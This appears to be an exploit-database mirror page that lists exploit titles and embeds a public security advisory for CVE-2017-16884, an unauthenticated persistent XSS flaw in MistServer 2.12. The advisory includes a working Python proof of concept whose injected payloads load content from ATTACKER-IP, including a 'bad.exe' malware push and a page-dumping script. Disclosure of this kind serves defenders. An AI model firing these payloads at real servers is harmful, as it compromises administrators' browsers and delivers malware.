Menu

Improved exploit search engine. Try it out

"MistServer 2.12 - Cross-Site Scripting"

Author

hyp3rlinx

Platform

multiple

Release date

2017-12-01

Release Date Title Type Platform Author
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-09 "Firefox 67.0.4 - Denial of Service" dos multiple "Tejas Ajay Naik"
2019-07-03 "Symantec DLP 15.5 MP1 - Cross-Site Scripting" webapps multiple "Chapman Schleiss"
2019-07-01 "CyberPanel 1.8.4 - Cross-Site Request Forgery" webapps multiple "Bilgi Birikim Sistemleri"
2019-07-01 "Sahi pro 8.x - Directory Traversal" webapps multiple "Alexander Bluestein"
2019-07-01 "SAP Crystal Reports - Information Disclosure" webapps multiple "Mohamed M.Fouad"
2019-07-01 "Varient 1.6.1 - SQL Injection" webapps multiple "Mehmet EMIROGLU"
2019-06-26 "Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion" dos multiple "Google Security Research"
2019-06-24 "GrandNode 4.40 - Path Traversal / Arbitrary File Download" webapps multiple "Corey Robinson"
2019-06-25 "SuperDoctor5 - 'NRPE' Remote Code Execution" remote multiple "Simon Gurney"
2019-06-18 "Sahi pro 8.x - Cross-Site Scripting" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 8.x - SQL Injection" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 7.x/8.x - Directory Traversal" webapps multiple "Goutham Madhwaraj"
2019-06-17 "RedwoodHQ 2.5.5 - Authentication Bypass" webapps multiple EthicalHCOP
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - Type Confusion" dos multiple "X41 D-Sec GmbH"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-28 "Phraseanet < 4.0.7 - Cross-Site Scripting" webapps multiple "Krzysztof Szulski"
2019-05-27 "Deltek Maconomy 2.2.5 - Local File Inclusion" webapps multiple JameelNabbo
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
Release Date Title Type Platform Author
2019-07-17 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow" remote windows hyp3rlinx
2019-07-16 "Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection" dos windows hyp3rlinx
2019-06-17 "HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write" dos windows hyp3rlinx
2019-05-03 "Windows PowerShell ISE - Remote Code Execution" local windows hyp3rlinx
2019-04-12 "Microsoft Internet Explorer 11 - XML External Entity Injection" local windows hyp3rlinx
2019-03-13 "Microsoft Windows - .reg File / Dialog Box Message Spoofing" dos windows hyp3rlinx
2019-01-23 "Microsoft Windows CONTACT - HTML Injection / Remote Code Execution" local windows hyp3rlinx
2019-01-17 "Microsoft Windows CONTACT - Remote Code Execution" local windows hyp3rlinx
2019-01-15 "Microsoft Windows VCF - Remote Code Execution" local windows hyp3rlinx
2018-12-04 "NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage" webapps hardware hyp3rlinx
2018-11-13 "Cisco Immunet < 6.2.0 / Cisco AMP For Endpoints 6.2.0 - Denial of Service" dos windows hyp3rlinx
2018-11-12 "D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery" webapps hardware hyp3rlinx
2018-10-23 "ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection" webapps windows hyp3rlinx
2018-09-03 "FsPro Labs Event Log Explorer v4.6.1.2115 - XML External Entity Injection" webapps windows hyp3rlinx
2018-08-29 "Argus Surveillance DVR 4.0.0.0 - Directory Traversal" webapps windows_x86 hyp3rlinx
2017-12-01 "Artica Web Proxy 3.06 - Remote Code Execution" webapps php hyp3rlinx
2017-12-01 "MistServer 2.12 - Cross-Site Scripting" webapps multiple hyp3rlinx
2017-10-15 "Webmin 1.850 - Multiple Vulnerabilities" webapps cgi hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - 'Host' Header Injection" webapps php hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Server Side Request Forgery" webapps php hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Information Disclosure" webapps php hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Code Execution / Memory Corruption" webapps windows hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure" webapps php hyp3rlinx
2017-08-21 "Apache2Triad 1.5.4 - Multiple Vulnerabilities" webapps php hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps windows hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Server-Side Request Forgery" webapps windows hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Cross-Site Request Forgery" webapps windows hyp3rlinx
2017-05-20 "Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery" webapps php hyp3rlinx
2017-05-15 "Mailcow 0.14 - Cross-Site Request Forgery" webapps php hyp3rlinx
2017-04-16 "Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset" webapps php hyp3rlinx
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/43205/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/43205/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/43205/39456/mistserver-212-cross-site-scripting/download/", "exploit_id": "43205", "exploit_description": "\"MistServer 2.12 - Cross-Site Scripting\"", "exploit_date": "2017-12-01", "exploit_author": "hyp3rlinx", "exploit_type": "webapps", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
[+] Credits: John Page (aka Hyp3rlinX)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mistserver.org



Product:
===========
MistServer v2.12


MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).



Vulnerability Type:
===================
Unauthenticated Persistent XSS



CVE Reference:
==============
CVE-2017-16884



Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code. 



References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21



Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx